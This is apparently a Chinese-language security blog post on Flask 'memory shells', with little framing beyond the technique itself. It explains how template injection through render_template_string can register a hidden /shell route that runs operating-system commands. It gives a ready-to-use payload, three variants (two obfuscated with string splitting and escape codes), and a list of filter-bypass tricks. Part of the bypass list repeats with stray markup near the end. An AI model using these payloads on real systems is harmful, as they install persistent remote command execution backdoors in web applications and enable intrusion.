flask内存马
1.概念
常用的Python
框架有Django
、Flask
, 这两者都可能存在SSTI
漏洞. Python 内存马
利用Flask
框架中SSTI
注入来实现, Flask
框架中在web
应用模板渲染的过程中用到render_template_string
进行渲染, 但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python
内存马的注入.
2.上下文管理机制
当网页请求进入Flask
时, 会实例化一个Request Context
. 在Python
中分出了两种上下文: 请求上下文(request context)、应用上下文(session context). 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack
的栈结构, 也就是说它拥有一个栈所拥有的全部特性. request context
实例化后会被push
到栈_request_ctx_stack
中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.
payload
原始Flask
内存马Payload
:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
payload解析
这段代码展示了如何在Flask应用中添加一个URL规则,该规则允许执行操作系统命令。具体来说,它使用add_url_rule
方法向Flask应用添加了一个新的路由(endpoint),当访问路径为/shell
时,会触发相应的处理函数。
让我们逐步解析这段代码:
app.add_url_rule('/shell', 'shell', lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())
app.add_url_rule(...)
: 这是Flask框架中的一个方法,用于将URL与视图函数绑定。第一个参数是URL路径,第二个参数是端点名称(endpoint name),第三个参数是要调用的视图函数。'/shell'
: 这是HTTP请求的路径,意味着当你访问服务器上的/shell
路径时,会触发这个路由对应的处理逻辑。'shell'
: 这是端点名称,在Flask内部用来唯一标识这个路由。lambda:
: 使用了Python的匿名函数(lambda表达式)来定义视图函数。这里没有显式地定义函数名,而是直接在add_url_rule
中定义了要执行的逻辑。__import__('os')
: 动态导入Python的内置模块os
。通常情况下,我们会使用import os
,但这里使用了__import__
函数,可能是为了绕过某些限制或检查。.popen(...).read()
:os.popen()
方法执行传入的命令字符串,并返回一个文件对象,我们可以从这个文件对象中读取命令的输出。.read()
方法读取并返回命令的完整输出。_request_ctx_stack.top.request.args.get('cmd', 'whoami')
: 这里获取了当前请求上下文中的查询参数cmd
,如果cmd
参数不存在,则默认执行whoami
命令。_request_ctx_stack
是一个内部的栈结构,保存着请求上下文信息。
payload集合
这里给出两个变形Payload
:
- 原
Payload
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
- 变形
Payload-1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
- 变形
Payload-2
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})
ByPass
在实际应用中往往都存在过滤, 因此了解如何绕过还是必要的.
url_for
可替换为get_flashed_messages
或者request.__init__
或者request.application
.- 代码执行函数替换, 如
exec
等替换eval
. - 字符串可采用拼接方式, 如
['__builtins__']['eval']
变为['__bui'+'ltins__']['ev'+'al']
. __globals__
可用__getattribute__('__globa'+'ls__')
替换.[]
可用.__getitem__()
或.pop()
替换.- 过滤
{{
或者}}
, 可以使用{%
或者%}
绕过,{%%}
中间可以执行if
语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果. - 过滤
_
可以用编码绕过, 如__class__
替换成\x5f\x5fclass\x5f\x5f
, 还可以用dir(0)[0][0]
或者request['args']
或者request['values']
绕过. - 过滤了
.
可以采用attr()
或[]
绕过.
)[0][0]或者
request[‘args’]或者
request[‘values’]`绕过. - 过滤了
.
可以采用attr()
或[]
绕过. - 其它的手法参考
SSTI
绕过过滤的方法即可…
参考自https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6CjeqmTKiT8ToD#toc-0
参考自https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/